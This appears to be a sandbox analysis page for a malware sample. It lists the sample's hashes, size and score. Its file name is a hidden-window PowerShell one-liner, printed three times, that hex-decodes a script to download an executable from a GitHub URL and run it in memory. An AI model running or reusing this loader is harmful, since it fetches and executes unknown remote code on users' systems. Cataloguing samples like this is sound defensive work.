General

  • Target
    powershell -w hidden -nop -ep bypass -c "$s='74-72-79-20-7B-20-24-62-79-74-65-73-20-3D-20-28-4E-65-77-2D-4F-62-6A-65-63-74-20-4E-65-74-2E-57-65-62-43-6C-69-65-6E-74-29-2E-44-6F-77-6E-6C-6F-61-64-44-61-74-61-28-27-68-74-74-70-73-3A-2F-2F-67-69-74-68-75-62-2E-63-6F-6D-2F-63-63-73-67-6F-71-2D-62-79-74-65-2F-61-73-64-73-61-2F-72-61-77-2F-6D-61-69-6E-2F-53-61-70-70-68-69-72-65-5F-43-6C-69-63-6B-65-72-25-32-30-28-4F-55-54-44-41-54-45-44-25-32-30-4C-45-41-4B-29-2E-65-78-65-27-29-3B-20-24-61-73-6D-20-3D-20-5B-52-65-66-6C-65-63-74-69-6F-6E-2E-41-73-73-65-6D-62-6C-79-5D-3A-3A-4C-6F-61-64-28-24-62-79-74-65-73-29-3B-20-24-65-6E-74-72-79-20-3D-20-24-61-73-6D-2E-45-6E-74-72-79-50-6F-69-6E-74-3B-20-24-65-6E-74-72-79-2E-49-6E-76-6F-6B-65-28-24-6E-75-6C-6C-2C-20-24-6E-75-6C-6C-29-20-7D-20-63-61-74-63-68-20-7B-20-24-5F-2E-45-78-63-65-70-74-69-6F-6E-20-7C-20-46-6F-72-6D-61-74-2D-4C-69-73-74-20-2D-46-6F-72-63-65-3B-20-70-61-75-73-65-20-7D';iex(-join($s-split'-'|%{[char][convert]::ToInt32($_,16)}))".ps1
  • Size 993B
  • Sample261017-b43dlavsev
  • SHA256 6f1e63117e69d7eaef80de6c144b074a1d6ca531bf0b051668c1d39f543980b9
  • MD5 SHA1 SHA512 TLSH
Score
1/10

Malware Config

Signatures

File Explorer

  • powershell -w hidden -nop -ep bypass -c "$s='74-72-79-20-7B-20-24-62-79-74-65-73-20-3D-20-28-4E-65-77-2D-4F-62-6A-65-63-74-20-4E-65-74-2E-57-65-62-43-6C-69-65-6E-74-29-2E-44-6F-77-6E-6C-6F-61-64-44-61-74-61-28-27-68-74-74-70-73-3A-2F-2F-67-69-74-68-75-62-2E-63-6F-6D-2F-63-63-73-67-6F-71-2D-62-79-74-65-2F-61-73-64-73-61-2F-72-61-77-2F-6D-61-69-6E-2F-53-61-70-70-68-69-72-65-5F-43-6C-69-63-6B-65-72-25-32-30-28-4F-55-54-44-41-54-45-44-25-32-30-4C-45-41-4B-29-2E-65-78-65-27-29-3B-20-24-61-73-6D-20-3D-20-5B-52-65-66-6C-65-63-74-69-6F-6E-2E-41-73-73-65-6D-62-6C-79-5D-3A-3A-4C-6F-61-64-28-24-62-79-74-65-73-29-3B-20-24-65-6E-74-72-79-20-3D-20-24-61-73-6D-2E-45-6E-74-72-79-50-6F-69-6E-74-3B-20-24-65-6E-74-72-79-2E-49-6E-76-6F-6B-65-28-24-6E-75-6C-6C-2C-20-24-6E-75-6C-6C-29-20-7D-20-63-61-74-63-68-20-7B-20-24-5F-2E-45-78-63-65-70-74-69-6F-6E-20-7C-20-46-6F-72-6D-61-74-2D-4C-69-73-74-20-2D-46-6F-72-63-65-3B-20-70-61-75-73-65-20-7D';iex(-join($s-split'-'|%{[char][convert]::ToInt32($_,16)}))".ps1
    993B

powershell -w hidden -nop -ep bypass -c "$s='74-72-79-20-7B-20-24-62-79-74-65-73-20-3D-20-28-4E-65-77-2D-4F-62-6A-65-63-74-20-4E-65-74-2E-57-65-62-43-6C-69-65-6E-74-29-2E-44-6F-77-6E-6C-6F-61-64-44-61-74-61-28-27-68-74-74-70-73-3A-2F-2F-67-69-74-68-75-62-2E-63-6F-6D-2F-63-63-73-67-6F-71-2D-62-79-74-65-2F-61-73-64-73-61-2F-72-61-77-2F-6D-61-69-6E-2F-53-61-70-70-68-69-72-65-5F-43-6C-69-63-6B-65-72-25-32-30-28-4F-55-54-44-41-54-45-44-25-32-30-4C-45-41-4B-29-2E-65-78-65-27-29-3B-20-24-61-73-6D-20-3D-20-5B-52-65-66-6C-65-63-74-69-6F-6E-2E-41-73-73-65-6D-62-6C-79-5D-3A-3A-4C-6F-61-64-28-24-62-79-74-65-73-29-3B-20-24-65-6E-74-72-79-20-3D-20-24-61-73-6D-2E-45-6E-74-72-79-50-6F-69-6E-74-3B-20-24-65-6E-74-72-79-2E-49-6E-76-6F-6B-65-28-24-6E-75-6C-6C-2C-20-24-6E-75-6C-6C-29-20-7D-20-63-61-74-63-68-20-7B-20-24-5F-2E-45-78-63-65-70-74-69-6F-6E-20-7C-20-46-6F-72-6D-61-74-2D-4C-69-73-74-20-2D-46-6F-72-63-65-3B-20-70-61-75-73-65-20-7D';iex(-join($s-split'-'|%{[char][convert]::ToInt32($_,16)}))".ps1

  • SHA256 6f1e63117e69d7eaef80de6c144b074a1d6ca531bf0b051668c1d39f543980b9
  • MD5 SHA1 SHA512 TLSH